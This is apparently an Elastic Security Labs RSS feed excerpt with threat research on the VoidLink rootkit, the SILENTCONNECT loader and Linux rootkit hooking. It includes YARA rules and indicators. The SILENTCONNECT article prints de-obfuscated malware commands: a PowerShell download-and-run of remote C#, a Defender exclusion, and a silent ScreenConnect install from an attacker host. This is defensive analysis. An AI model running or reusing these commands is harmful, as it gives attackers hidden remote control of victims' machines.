        arch = &quot;x86_64&quot;
        threat_name = &quot;Linux.Rootkit.VoidLink&quot;
        description = &quot;Detects VoidLink LKM rootkit variants&quot;

    strings:
        $mod1 = &quot;AMD Memory Encryption Support&quot;
        $mod2 = &quot;AMD Memory Encryption Driver&quot;
        $mod3 = &quot;Advanced Micro Devices, Inc.&quot;
        $func1 = &quot;vl_stealth&quot;
        $func2 = &quot;g_data&quot;
        $func3 = &quot;icmp_cmd&quot;
        $func4 = &quot;chk_pid&quot;
        $func5 = &quot;chk_port&quot;
        $func6 = &quot;mod_hide&quot;
        $func7 = &quot;amd_mem_encrypt&quot;
        $ebpf1 = &quot;hidden_ports&quot;
        $ebpf2 = &quot;recvmsg_ctx&quot;
        $ebpf3 = &quot;SOCK_DIAG_BY_FAMILY&quot;

    condition:
        (2 of ($mod*) and 3 of ($func*)) or
        (1 of ($mod*) and 2 of ($ebpf*)) or
        (4 of ($func*))
}
</code></pre>
<h3>Defensive recommendations</h3>
<p>Defending against rootkits like VoidLink requires a multilayered approach that goes beyond traditional endpoint protection. Secure Boot and kernel module signing should be enforced to prevent unauthorized kernel modules from loading. The kernel lockdown mode, available since Linux 5.4, restricts operations such as direct memory access and unsigned module loading, even for root users. Monitor the Auditd subsystem for <code>init_module</code> and <code>finit_module</code> syscalls, as any unexpected kernel module load on a production server warrants immediate investigation.</p>
<p>For eBPF specifically, consider restricting the <code>bpf()</code> syscall to specific processes using seccomp profiles or LSM policies. The <code>bpf_probe_write_user</code> helper, which VoidLink abuses to modify userspace memory from eBPF programs, is a known high-risk primitive. Systems that don’t require eBPF-based debugging should consider disabling it entirely through sysctl (<code>kernel.unprivileged_bpf_disabled=1</code>).</p>
<p>Regular integrity checks that cross-reference different system views (process listings, network connections, module lists) from userspace and from a trusted kernel can reveal rootkit activity even when individual views are compromised. Kernel memory forensics tools that can scan for known rootkit patterns, such as ftrace hooks on suspicious functions or Netfilter hooks processing ICMP traffic, provide another layer of defense.</p>
<h2>Observations</h2>
<p>The following observables were identified during this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>8.149.128[.]10</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">Operator IP (Alibaba Cloud)</td>
</tr>
<tr>
<td align="left"><code>116.62.172[.]147</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">Operator IP (Alibaba Cloud)</td>
</tr>
<tr>
<td align="left"><code>vl_stealth.ko</code></td>
<td align="left">filename</td>
<td align="left"><code>vl_stealth</code></td>
<td align="left">Production LKM rootkit module</td>
</tr>
<tr>
<td align="left"><code>amd_mem_encrypt.ko</code></td>
<td align="left">filename</td>
<td align="left"><code>amd_mem_encrypt</code></td>
<td align="left">Masqueraded LKM rootkit module</td>
</tr>
<tr>
<td align="left"><code>hide_ss.bpf.o</code></td>
<td align="left">filename</td>
<td align="left"><code>hide_ss</code></td>
<td align="left">eBPF ss-hiding component</td>
</tr>
<tr>
<td align="left"><code>ss_loader</code></td>
<td align="left">filename</td>
<td align="left"><code>ss_loader</code></td>
<td align="left">eBPF loader binary</td>
</tr>
<tr>
<td align="left"><code>icmp_ctl.py</code></td>
<td align="left">filename</td>
<td align="left"><code>icmp_ctl</code></td>
<td align="left">ICMP C2 control script</td>
</tr>
<tr>
<td align="left"><code>load_lkm.sh</code></td>
<td align="left">filename</td>
<td align="left"><code>load_lkm</code></td>
<td align="left">Boot-time persistence loader</td>
</tr>
<tr>
<td align="left"><code>/root/kernel5x_new/vl_stealth.ko</code></td>
<td align="left">filepath</td>
<td align="left"></td>
<td align="left">Hard-coded module path</td>
</tr>
<tr>
<td align="left"><code>/var/log/vl_boot.log</code></td>
<td align="left">filepath</td>
<td align="left"></td>
<td align="left">Boot loader log file</td>
</tr>
<tr>
<td align="left"><code>/sys/fs/bpf/vl_hide_tcp</code></td>
<td align="left">filepath</td>
<td align="left"></td>
<td align="left">Pinned BPF map (override variant)</td>
</tr>
<tr>
<td align="left"><code>0xC0DE</code></td>
<td align="left">icmp-magic</td>
<td align="left"></td>
<td align="left">Default ICMP identification value</td>
</tr>
<tr>
<td align="left"><code>0x42</code></td>
<td align="left">xor-key</td>
<td align="left"></td>
<td align="left">Default XOR encryption key</td>
</tr>
<tr>
<td align="left"><code>AMD Memory Encryption Support</code></td>
<td align="left">string</td>
<td align="left"></td>
<td align="left">Masqueraded MODULE_DESCRIPTION</td>
</tr>
<tr>
<td align="left"><code>Advanced Micro Devices, Inc.</code></td>
<td align="left">string</td>
<td align="left"></td>
<td align="left">Masqueraded MODULE_AUTHOR</td>
</tr>
<tr>
<td align="left"><code>8080</code></td>
<td align="left">network-port</td>
<td align="left"></td>
<td align="left">Default hidden port</td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>Check Point Research's publications on VoidLink revealed the scope and ambition of the broader framework: a cloud-native, modular C2 platform with over 30 plugins, adaptive stealth, and multiple transport channels. Our analysis of the leaked rootkit source code complements those findings by providing a deep technical look at the kernel-level subsystem that underpins VoidLink's concealment capabilities. The hybrid LKM-eBPF architecture, spanning four generations of iterative development, demonstrates both technical ambition and practical operational awareness, producing a rootkit capable of comprehensive stealth across multiple kernel versions, from CentOS 7's kernel 3.10 through Ubuntu 22.04's kernel 6.2.</p>
<p>Several aspects of VoidLink stand out as particularly noteworthy. The eBPF Netlink buffer manipulation technique for <code>ss</code> hiding is rarely documented and represents a creative application of <code>bpf_probe_write_user</code> that defenders should be aware of. The delayed initialization strategy evades synchronous module-load security checks, a technique uncommon in the wild and indicative of an understanding of modern EDR behavior. The runtime ICMP credential rotation adds an operational security layer, making network signature-based detection a moving target.</p>
<p>The evidence of LLM-assisted development, both at the project-planning level, documented by Check Point, and at the code-iteration level, visible in our data dump, is perhaps the most significant finding for the threat landscape as a whole. Together, these analyses demonstrate that operators with moderate Linux knowledge can produce kernel-level rootkits by iterating with an AI assistant, lowering a barrier that previously required years of kernel development expertise. As LLMs continue to improve, we expect this pattern to accelerate, making rootkit development accessible to a broader range of threat actors.</p>
<p>We’ll continue to monitor for VoidLink deployments and variants and will update our detection rules as new indicators emerge.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/illuminating-voidlink/illuminating-voidlink.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect]]></title>
            <link>https://www.elastic.co/fr/security-labs/silentconnect-delivers-screenconnect</link>
            <guid>silentconnect-delivers-screenconnect</guid>
            <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[SILENTCONNECT is a multi-stage loader that leverages VBScript, in-memory PowerShell execution, and PEB masquerading to silently deploy the ScreenConnect RMM tool.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.</p>
<p>This campaign highlights a common theme: attackers abusing living-off-the-land binaries (<a href="https://lolbas-project.github.io/">LOLBins</a>) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.</p>
<h2>Key takeaways</h2>
<ul>
<li>SILENTCONNECT is a newly discovered loader actively being used in-the-wild</li>
<li>This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines</li>
<li>Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive</li>
<li>SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image13.png" alt="SILENTCONNECT attack diagram" title="SILENTCONNECT attack diagram" /></p>
<h2>SILENTCONNECT infection chain</h2>
<p>In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image12.png" alt="Elastic Defend alerts" title="Elastic Defend alerts" /></p>
<p>The initial VBScript download triggered our <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_windows_script_downloaded_from_the_internet.toml">Suspicious Windows Script Downloaded from the Internet rule</a>, which let us pivot to the source of the infection using the associated <code>file.origin_url</code> and <code>file.origin_referrer_url</code> fields.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image10.png" alt="File origin fields" title="File origin fields" /></p>
<p>By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (<code>E-INVITE.vbs</code>) is downloaded to the machine.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image19.png" alt="Cloudflare CAPTCHA page" title="Cloudflare CAPTCHA page" /></p>
<p>Below is the source code of the landing page, we can see that the VBScript file (<code>E-INVITE.vbs</code>) is hosted on Cloudflare’s object storage service <a href="https://developers.cloudflare.com/r2/"><code>r2.dev</code></a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image8.png" alt="Landing page source code" title="Landing page source code" /></p>
<p>Below are other VBScript filenames observed in the last month related to these campaigns:</p>
<ul>
<li><code>Alaska Airlines 2026 Fleet &amp; Route Expansion Summary.vbs</code></li>
<li><code>CODE7_ZOOMCALANDER_INSTALLER_4740.vbs</code></li>
<li><code>2025Trans.vbs</code></li>
<li><code>Proposal-03-2026.vbs</code></li>
<li><code>2025Trans.vbs</code></li>
<li><code>updatv35.vbs</code></li>
</ul>
<p>The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the <code>Replace()</code> and <code>Chr()</code> functions to hide the next stage.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image17.png" alt="Obfuscated VBScript" title="Obfuscated VBScript" /></p>
<p>This script de-obfuscates to the following command-line output:</p>
<pre><code>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -ExecutionPolicy Bypass 
  -command &quot;&quot;New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&amp;export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()&quot;&quot;
</code></pre>
<p>This snippet uses PowerShell to invoke <code>curl.exe</code> to download a C# payload from Google Drive, which is then written to the disk with the file name (<code>C:\Windows\Temp\FileR.txt</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image4.png" alt="cURL download via PowerShell" title="cURL download via PowerShell" /></p>
<p>The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image15.png" alt="C# source code downloaded from Google Drive" title="C# source code downloaded from Google Drive" /></p>
<p>Finally, the PowerShell command compiles the downloaded C# source (<code>FileR.txt</code>) at runtime using <code>Add-Type</code>, loads it into memory as a .NET assembly, and executes it via the <code>[HelloWorld]::SayHello()</code> method.</p>
<h2>SILENTCONNECT</h2>
<p>The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image5.png" alt="SILENTCONNECT - DNspy namespace/class structure" title="SILENTCONNECT - DNspy namespace/class structure" /></p>
<p>After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via <code>NtAllocateVirtualMemory</code>, assigning the region <code>PAGE_EXECUTE_READWRITE</code> permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:</p>
<pre><code>53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret
</code></pre>
<p>This small shellcode is moved into the recently allocated memory using <code>Marshal.Copy</code>. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image1.png" alt="Copying shellcode into memory via NtAllocateVirtualMemory" title="Copying shellcode into memory via NtAllocateVirtualMemory" /></p>
<p>SILENTCONNECT uses NTAPIs from <code>ntdll.dll</code> (Native APIs) and <code>ole32.dll</code> (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as <code>NtWriteVirtualMemory</code> or <code>CoGetObject</code> directly from<code>.NET</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image11.png" alt="Delegate setup for NTAPI’s" title="Delegate setup for NTAPI’s" /></p>
<p><strong>PEB Masquerading</strong></p>
<p>SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">Process Environment Block</a> (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its <code>BaseDLLName</code> and <code>FullDllName</code> to <code>winhlp32.exe</code> and <code>c:\windows\winhlp32.exe</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image20.png" alt="PEB masquerading feature" title="PEB masquerading feature" /></p>
<p>Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself.</p>
<p>Before launching the payload, the malware implements a UAC bypass using the function <code>LaunchElevatedCOMObjectUnsafe</code> with the moniker string reversed: <code>:wen!rotartsinimdA:noitavelE -&gt; Elevation:Administrator!new:</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image18.png" alt="COM setup using elevation moniker" title="COM setup using elevation moniker" /></p>
<p>If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">CMSTPLUA COM interface</a>. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image14.png" alt="Launch parameters for ScreenConnect install" title="Launch parameters for ScreenConnect install" /></p>
<p>The first part of this obfuscated command adds a Microsoft Defender exclusion for <code>.exe</code> files.</p>
<pre><code>$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&amp;($ConcreteDataStructure) 
-ExclusionExtension $s -Force;
</code></pre>
<p>Below is the result of this command in Defender with the exception added:<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image2.png" alt="SILENTCONNECT adding Microsoft Defender exception" title="SILENTCONNECT adding Microsoft Defender exception" /></p>
<p>After adding the exclusion, SILENTCONNECT creates a temporary directory (<code>C:\Temp</code>) and uses <code>curl.exe</code> to download the malicious ScreenConnect client installer into it. It then invokes <code>msiexec.exe</code> to silently install the RMM. Below is the second-half of the command-line:</p>
<pre><code>New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&amp;y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'&quot;
</code></pre>
<p>Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at <code>bumptobabeco[.]top</code> over TCP port <code>8041</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image16.png" alt="ScreenConnect Client outbound network activity" title="ScreenConnect Client outbound network activity" /></p>
<h2>SILENTCONNECT campaign</h2>
<p>The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (<code>YOU ARE INVITED.eml</code>) uploaded to VirusTotal from a campaign last year.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image21.png" alt="Phishing email - Subject “YOU ARE INVITED”" title="Phishing email - Subject “YOU ARE INVITED”" /></p>
<p>The email is sent from <code>dan@checkfirst[.]net[.]au</code> and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure <code>imansport[.]ir/download_invitee.php</code>.</p>
<p>Notably, the threat actor reused the same URI path (<code>download_invitee.php</code>) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as <code>entity:url url:download_invitee.php</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image9.png" alt="Pivot example using same URI" title="Pivot example using same URI" /></p>
<p>We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (<code>solpru[.]com/process/docusign[.]html</code>) hosts a page that closely mimics the DocuSign electronic signature platform.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image3.png" alt="" /><br />
Fake <em>DocuSign portal</em></p>
<p>This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (<code>instance-lh1907-relay.screenconnect[.]com</code>).<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image6.png" alt="ScreenConnect config from DocuSign scheme" title="ScreenConnect config from DocuSign scheme" /></p>
<p>Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/image7.png" alt="Fake Microsoft Teams landing page" title="Fake Microsoft Teams landing page" /></p>
<h2>Conclusion</h2>
<p>Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.</p>
<p>While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve.</p>
<h3>SILENTCONNECT and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1219/002/">Remote Access Tools: Remote Desktop Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2><strong>Detecting SILENTCONNECT</strong></h2>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_ingress_exe_transfer_via_curl.toml">Ingress Tool Transfer via CURL</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_webservice_lolbas.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/execution_suspicious_powershell_cmdline.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_wmi.toml">Windows Defender Exclusions via WMI</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_windows_powershell_susp_args.toml">Suspicious Windows Powershell Arguments</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_common_webservices.toml">Connection to Commonly Abused Web Services</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity:</p>
<pre><code>rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2026-03-04&quot;
        last_modified = &quot;2026-03-04&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.SilentConnect&quot;
        reference_sample = &quot;8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $peb_evade = &quot;winhlp32.exe&quot; wide fullword
        $rev_elevation = &quot;wen!rotartsinimdA:noitavelE&quot; wide fullword
        $masquerade_peb_str = &quot;MasqueradePEB&quot; ascii fullword
        $guid = &quot;3E5FC7F9-9A51-4367-9063-A120244FBEC7&quot; wide fullword
        $unique_str = &quot;PebFucker&quot; ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = &quot;tcennoCneercS&quot; ascii wide
    condition:
        5 of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3</code></td>
<td align="left">SHA-256</td>
<td align="left">E-INVITE.vbs</td>
<td align="left">VBScript</td>
</tr>
<tr>
<td align="left"><code>adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37</code></td>
<td align="left">SHA-256</td>
<td align="left">2025Trans.vbs</td>
<td align="left">VBScript</td>
</tr>
<tr>
<td align="left"><code>81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03</code></td>
<td align="left">SHA-256</td>
<td align="left">FileR.txt</td>
<td align="left">C#</td>
</tr>
<tr>
<td align="left"><code>c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7</code></td>
<td align="left">SHA-256</td>
<td align="left">ScreenConnect.ClientSetup.msi</td>
<td align="left">SCREENCONNECT Installer</td>
</tr>
<tr>
<td align="left"><code>8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">SILENTCONNECT</td>
</tr>
<tr>
<td align="left"><code>86.38.225[.]59</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">ScreenConnect  C2 Server</td>
</tr>
<tr>
<td align="left"><code>bumptobabeco[.]top</code></td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">ScreenConnect C2 Server</td>
</tr>
<tr>
<td align="left"><code>instance-lh1907-relay.screenconnect[.]com</code></td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">ScreenConnect C2 Server</td>
</tr>
<tr>
<td align="left"><code>349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec</code></td>
<td align="left">SHA-256</td>
<td align="left">ViewDocs.exe</td>
<td align="left">Syncro Installer</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/silentconnect-delivers-screenconnect/silentconnect-delivers-screenconnect.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Hooked on Linux: Rootkit Taxonomy, Hooking Techniques and Tradecraft]]></title>
            <link>https://www.elastic.co/fr/security-labs/linux-rootkits-1-hooked-on-linux</link>
            <guid>linux-rootkits-1-hooked-on-linux</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In this first part of a two-part series, we explore Linux rootkit taxonomy, trace their evolution from userland shared object hijacking and kernel-space loadable kernel module hooking to modern eBPF- and io_uring-powered techniques.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This is part one of a two-part series on Linux rootkits. In this first installment, we focus on the theory behind how rootkits work: their taxonomy, evolution, and the hooking techniques they use to subvert the kernel. In part two, we shift to the defensive side and dive into detection engineering, covering practical approaches to identifying and responding to these threats in production environments.</p>
<h2>What Are Rootkits?</h2>
<p>Rootkits are stealthy malware designed to conceal malicious activity, such as files, processes, network connections, kernel modules, or accounts. Their primary purposes are persistence and evasion, allowing attackers to maintain long-term access to high-value targets like servers, infrastructure, and enterprise systems. Unlike other forms of malware, rootkits focus on remaining undetected rather than immediately pursuing objectives.</p>
<h2>How Do Rootkits Work?</h2>
<p>Rootkits manipulate the operating system to alter how it presents information to users and security tools. They operate in user space or within the kernel. User-space rootkits modify user-level processes using techniques such as <code>LD_PRELOAD</code> or library hijacking. Kernel-space rootkits run with the highest privileges, modifying kernel structures, intercepting syscalls, or loading malicious modules. This deep integration gives them powerful evasion capabilities but increases operational risk.</p>
<h2>Why Are Rootkits Difficult to Detect?</h2>
<p>Kernel-space rootkits can manipulate core OS functions, subverting security tools and obscuring artifacts from userland visibility. They often leave minimal traces of their presence in the system, avoiding obvious indicators such as new processes or files, making traditional detection difficult. Identifying rootkits often requires memory forensics, kernel integrity checks, or telemetry below the OS level.</p>
<h2>Why Rootkits Are a Double-Edged Sword for Attackers</h2>
<p>While rootkits offer stealth and control, they carry operational risks. Kernel rootkits must be precisely tailored to kernel versions and environments. Mistakes, such as mishandling memory or incorrectly hooking syscalls, can cause system crashes (kernel panics), immediately exposing the attacker. At the very least, these failures draw unwanted attention to the system—a scenario the attacker is actively trying to avoid to maintain their foothold.</p>
<p>Kernel updates also present challenges: changes to APIs, memory structures, or syscalls can break rootkit functionality, making persistence vulnerable. Detection of suspicious modules or hooks typically triggers deep forensic investigation, as rootkits strongly indicate targeted, high-skill attacks. For attackers, rootkits are high-risk, high-reward tools; for defenders, this fragility offers opportunities for detection through low-level monitoring.</p>
<h2>Windows vs Linux Rootkits</h2>
<h3>The Windows Rootkit Ecosystem</h3>
<p>Windows is the primary focus for rootkit development. Attackers exploit kernel hooks, drivers, and undocumented syscalls for hiding malware, stealing credentials, and persistence. A mature research community and widespread usage in enterprise environments drive ongoing innovation, including techniques like DKOM, PatchGuard bypasses, and bootkits.</p>
<p>Robust security tools and Microsoft’s hardening efforts push attackers toward increasingly sophisticated methods. Windows remains attractive due to its dominance on enterprise endpoints and consumer devices.</p>
<h3>The Linux Rootkit Ecosystem</h3>
<p>Linux rootkits have historically received less attention. Fragmentation across distributions and kernel versions complicates detection and development. While academic research exists, much tooling is outdated, and production Linux environments often lack specialized monitoring.</p>
<p>However, Linux’s role in cloud, containers, IoT, and High Performance Computing has made it a growing target. Real-world Linux rootkits have been observed in attacks on cloud providers, telecoms, and governments. Key challenges for attackers include:</p>
<ul>
<li>Diverse kernels hinder cross-distribution compatibility.</li>
<li>Long uptimes prolong kernel mismatches.</li>
<li>Security features like SELinux, AppArmor, and module signing increase difficulty.</li>
</ul>
<p>Unique Linux threats include:</p>
<ul>
<li><strong>Containers &amp; Kubernetes</strong>: new persistence vectors via container escape.</li>
<li><strong>IoT devices</strong>: outdated kernels with minimal monitoring.</li>
<li><strong>Production servers</strong>: headless systems lacking user interaction, reducing visibility.</li>
</ul>
